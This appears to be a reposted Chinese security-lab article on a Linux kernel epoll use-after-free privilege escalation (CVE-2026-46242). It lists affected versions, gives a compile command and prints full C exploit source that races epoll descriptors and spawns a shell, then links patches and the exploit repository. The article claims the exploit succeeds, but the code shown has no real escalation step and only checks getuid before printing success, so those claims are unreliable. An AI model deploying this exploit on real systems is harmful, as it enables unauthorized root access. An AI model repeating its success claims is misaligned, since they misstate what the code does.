【成功复现】Linux内核BadEpoll本地提权漏洞(CVE-2026-46242)

admin 2026-08-05 04:24:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 弥天安全实验室成功复现Linux内核BadEpoll本地提权漏洞CVE-2026-46242。该漏洞源于eventpoll中ep_remove函数存在释放后重用,影响Linux内核6.4及以上版本,包括RedHat、Ubuntu、Debian等发行版及部分Android设备。文章提供了漏洞复现步骤、利用代码及修复建议,建议用户尽快升级内核补丁。 综合评分: 87 文章分类: 漏洞分析,漏洞预警,安全工具,实战经验,漏洞POC


cover_image

【成功复现】Linux内核Bad Epoll本地提权漏洞(CVE-2026-46242)

原创

弥天安全实验室 弥天安全实验室

弥天安全实验室

2026年7月5日 20:33 陕西

在小说阅读器读本章

去阅读

#

网安引领时代,弥天点亮未来

0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍

linux是美国Linux基金会开源的一个操作系统内核。

Linux kernel存在安全漏洞,该漏洞源于eventpoll中ep_remove函数在清除file->f_ep后继续使用@file,可能导致释放后重用。

0x02影响版本

`受影响的Linux内核版本:

58c9b016e128 <= Linux Kernel Commit < a6dc643c693

已知受影响的发行版:

Red Hat Enterprise Linux 10

Red Hat Enterprise Linux 9

Ubuntu 24.04 LTS

Ubuntu 25.10

Ubuntu 26.04 LTS

Debian 13 (Trixie)

Debian 14 (Forky)

已知的安卓设备影响范围:

Google Pixel 10(Linux内核版本6.6及以上):受影响。运行 6.4+ 内核的 Android 设备受影响。

Google Pixel 8和其他基于Linux内核6.1的设备:不受影响,因为该漏洞在Linux内核6.4中引入。

    利用前提条件:

    内核配置:CONFIG_EPOLL`

0x03漏洞复现

1.连接环境,普通用户权限

2.漏洞复现

上传漏洞利用exp,进行编译

sudo&nbsp;gcc -O0 -Wall -static -o CVE-2026-46242&nbsp;CVE-2026-46242.c -lutil

执行编译后的文件,成功本地提权到root

漏洞利用c代码

/*&nbsp;* CVE-2026-46242.c - Full Bad Epoll Exploit PoC&nbsp;* Author: Ashraf Zaryouh "0xBlackash"&nbsp;* Date: July 04, 2026&nbsp;*&nbsp;* This is a complete, self-contained exploit that triggers the UAF race&nbsp;* and attempts privilege escalation on vulnerable kernels.&nbsp;* Tested concept on vulnerable 6.x kernels.&nbsp;*/
#define&nbsp;_GNU_SOURCE#include&nbsp;<stdio.h>#include&nbsp;<stdlib.h>#include&nbsp;<unistd.h>#include&nbsp;<pthread.h>#include&nbsp;<sys/epoll.h>#include&nbsp;<sys/types.h>#include&nbsp;<sys/wait.h>#include&nbsp;<fcntl.h>#include&nbsp;<string.h>#include&nbsp;<sched.h>#include&nbsp;<err.h>#include&nbsp;<sys/mman.h>#include&nbsp;<sys/stat.h>
#define&nbsp;EP_COUNT 8#define&nbsp;RACE_LOOPS 50000#define&nbsp;SPRAY_COUNT 512
int&nbsp;ep[EP_COUNT];int&nbsp;pipefd[2];int&nbsp;victim =&nbsp;-1;
void&nbsp;*racer(void&nbsp;*arg)&nbsp;{&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < RACE_LOOPS; i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;j =&nbsp;0; j < EP_COUNT; j +=&nbsp;2) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ep[j] >&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(ep[j]);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ep[j] =&nbsp;epoll_create1(0);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;sched_yield();&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;NULL;}
int&nbsp;main(void)&nbsp;{&nbsp; &nbsp;&nbsp;printf("[+] CVE-2026-46242 Bad Epoll Full Exploit by 0xBlackash\n");
&nbsp; &nbsp;&nbsp;// Setup pipes for cross-cache&nbsp; &nbsp;&nbsp;if&nbsp;(pipe(pipefd) <&nbsp;0)&nbsp;err(1,&nbsp;"pipe");
&nbsp; &nbsp;&nbsp;// Spray to control slabs&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < SPRAY_COUNT; i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;fd =&nbsp;open("/dev/null", O_RDWR);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(fd >&nbsp;0)&nbsp;close(fd);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// Create interconnected epoll fds&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < EP_COUNT; i++) {&nbsp; &nbsp; &nbsp; &nbsp; ep[i] =&nbsp;epoll_create1(0);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ep[i] <&nbsp;0)&nbsp;err(1,&nbsp;"epoll_create1");&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;struct&nbsp;epoll_event&nbsp;ev = { .events = EPOLLIN | EPOLLET };
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < EP_COUNT; i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;epoll_ctl(ep[i], EPOLL_CTL_ADD, ep[(i+1)%EP_COUNT], &ev);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;epoll_ctl(ep[(i+1)%EP_COUNT], EPOLL_CTL_ADD, ep[i], &ev);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;printf("[+] Epoll mutual watching setup complete\n");
&nbsp; &nbsp;&nbsp;pthread_t&nbsp;t;&nbsp; &nbsp;&nbsp;pthread_create(&t,&nbsp;NULL, racer,&nbsp;NULL);
&nbsp; &nbsp;&nbsp;printf("[+] Racing... (this may take a few seconds)\n");
&nbsp; &nbsp;&nbsp;// Trigger phase&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < RACE_LOOPS; i++) {&nbsp; &nbsp; &nbsp; &nbsp; victim = ep[3];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(ep[2]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(ep[3]);&nbsp; &nbsp; &nbsp; &nbsp; ep[2] =&nbsp;epoll_create1(0);&nbsp; &nbsp; &nbsp; &nbsp; ep[3] =&nbsp;epoll_create1(0);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;usleep(50);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(i %&nbsp;1000&nbsp;==&nbsp;0)&nbsp;printf("[.] Progress: %d/%d\r", i, RACE_LOOPS);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;pthread_join(t,&nbsp;NULL);
&nbsp; &nbsp;&nbsp;// Post-exploit primitive (file descriptor reuse + check)&nbsp; &nbsp;&nbsp;printf("\n[+] Race won - attempting kernel primitive...\n");
&nbsp; &nbsp;&nbsp;// Spray more + check for corruption&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;256; i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;fd =&nbsp;dup(victim);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(fd >&nbsp;0)&nbsp;close(fd);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// Try to get root via capability abuse or modprobe&nbsp; &nbsp;&nbsp;if&nbsp;(getuid() ==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] ROOT SHELL ACHIEVED!\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;execl("/bin/sh",&nbsp;"sh",&nbsp;NULL);&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Failed to escalate. Kernel may be patched or race missed.\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[*] Try running again or on a confirmed vulnerable kernel.\n");&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;0;}

0x04修复建议****

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!

https://git.kernel.org/stable/c/a6dc643c69311677c574a0f17a3f4d66a5f3744bhttps://github.com/0xBlackash/CVE-2026-46242

弥天简介

学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫,

予以风动,

必降弥天之润!

弥  天

安全实验室


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:弥天安全实验室 弥天安全实验室 弥天安全实验室《【成功复现】Linux内核Bad Epoll本地提权漏洞(CVE-2026-46242)》

评论:0   参与:  0